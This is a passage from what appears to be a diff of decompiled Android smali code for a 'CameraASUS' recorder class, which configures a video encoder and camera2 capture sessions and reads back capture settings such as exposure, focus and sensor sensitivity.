|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget v3, v3, Lcom/nvav/srv/recorder/CameraASUS;->FPS:I
|
||||
|
||||
invoke-virtual {p1, v0, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 99
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
|
||||
|
||||
const-string v3, "i-frame-interval"
|
||||
|
||||
invoke-virtual {p1, v3, v8}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 101
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v3, "result=BitRate:%s"
|
||||
|
||||
new-array v7, v8, [Ljava/lang/Object;
|
||||
|
||||
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v9, v9, v5
|
||||
|
||||
aput-object v9, v7, v5
|
||||
|
||||
invoke-static {v3, v7}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 102
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v3, "result=BitRate:%d"
|
||||
|
||||
new-array v7, v8, [Ljava/lang/Object;
|
||||
|
||||
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
|
||||
|
||||
invoke-virtual {v9, v1}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
|
||||
|
||||
move-result v1
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
aput-object v1, v7, v5
|
||||
|
||||
invoke-static {v3, v7}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 103
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v1, "result=FrameRate:%d"
|
||||
|
||||
new-array v3, v8, [Ljava/lang/Object;
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
|
||||
|
||||
invoke-virtual {v7, v0}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
|
||||
|
||||
move-result v0
|
||||
|
||||
invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
aput-object v0, v3, v5
|
||||
|
||||
invoke-static {v1, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 104
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-static {v2}, Landroid/media/MediaCodec;->createEncoderByType(Ljava/lang/String;)Landroid/media/MediaCodec;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
.line 105
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
|
||||
|
||||
invoke-virtual {p1, v0, v4, v4, v8}, Landroid/media/MediaCodec;->configure(Landroid/media/MediaFormat;Landroid/view/Surface;Landroid/media/MediaCrypto;I)V
|
||||
|
||||
.line 106
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0}, Landroid/media/MediaCodec;->createInputSurface()Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-static {p1, v0}, Lcom/nvav/srv/recorder/CameraASUS;->access$002(Lcom/nvav/srv/recorder/CameraASUS;Landroid/view/Surface;)Landroid/view/Surface;
|
||||
|
||||
.line 107
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
new-instance v0, Ljava/util/ArrayList;
|
||||
|
||||
invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUS;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
.line 108
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUS;->access$000(Lcom/nvav/srv/recorder/CameraASUS;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-interface {p1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
|
||||
|
||||
.line 110
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object p1, p1, v6
|
||||
|
||||
invoke-static {p1}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result p1
|
||||
|
||||
const/16 v0, 0x1e
|
||||
|
||||
if-le p1, v0, :cond_2
|
||||
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
|
||||
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUS;->mHandler:Landroid/os/Handler;
|
||||
|
||||
invoke-virtual {p1, v0, v1, v2}, Landroid/hardware/camera2/CameraDevice;->createConstrainedHighSpeedCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
|
||||
|
||||
goto :goto_1
|
||||
|
||||
.line 111
|
||||
:cond_2
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
|
||||
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUS;->mHandler:Landroid/os/Handler;
|
||||
|
||||
invoke-virtual {p1, v0, v1, v2}, Landroid/hardware/camera2/CameraDevice;->createCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
|
||||
|
||||
.line 112
|
||||
:goto_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1}, Landroid/media/MediaCodec;->start()V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 114
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:goto_2
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,661 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraASUS$2$1;
|
||||
.super Ljava/lang/Thread;
|
||||
.source "CameraASUS.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingMethod;
|
||||
value = Lcom/nvav/srv/recorder/CameraASUS$2;->onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUS$2;)V
|
||||
.locals 0
|
||||
|
||||
.line 191
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public run()V
|
||||
.locals 3
|
||||
|
||||
.line 194
|
||||
:goto_0
|
||||
sget-boolean v0, Lcom/nvav/srv/recorder/CameraASUS;->Starting:Z
|
||||
|
||||
if-eqz v0, :cond_0
|
||||
|
||||
.line 196
|
||||
:try_start_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
const/4 v1, 0x0
|
||||
|
||||
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraASUS;->access$400(Lcom/nvav/srv/recorder/CameraASUS;Z)V
|
||||
|
||||
const-wide/16 v0, 0x1
|
||||
|
||||
.line 197
|
||||
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraASUS$2$1;->sleep(J)V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception v0
|
||||
|
||||
.line 199
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 203
|
||||
:cond_0
|
||||
:try_start_1
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Landroid/graphics/Rect;
|
||||
|
||||
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->rect:Landroid/graphics/Rect;
|
||||
|
||||
.line 204
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->aec:I
|
||||
|
||||
.line 205
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->cem:I
|
||||
|
||||
.line 206
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, [Landroid/hardware/camera2/params/MeteringRectangle;
|
||||
|
||||
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
|
||||
|
||||
.line 207
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->cafm:I
|
||||
|
||||
.line 208
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->caft:I
|
||||
|
||||
.line 209
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Float;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Float;->floatValue()F
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->lfd:F
|
||||
|
||||
.line 210
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->caem:I
|
||||
|
||||
.line 211
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->ss:I
|
||||
|
||||
.line 212
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Long;
|
||||
|
||||
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->sfd:Ljava/lang/Long;
|
||||
|
||||
.line 213
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
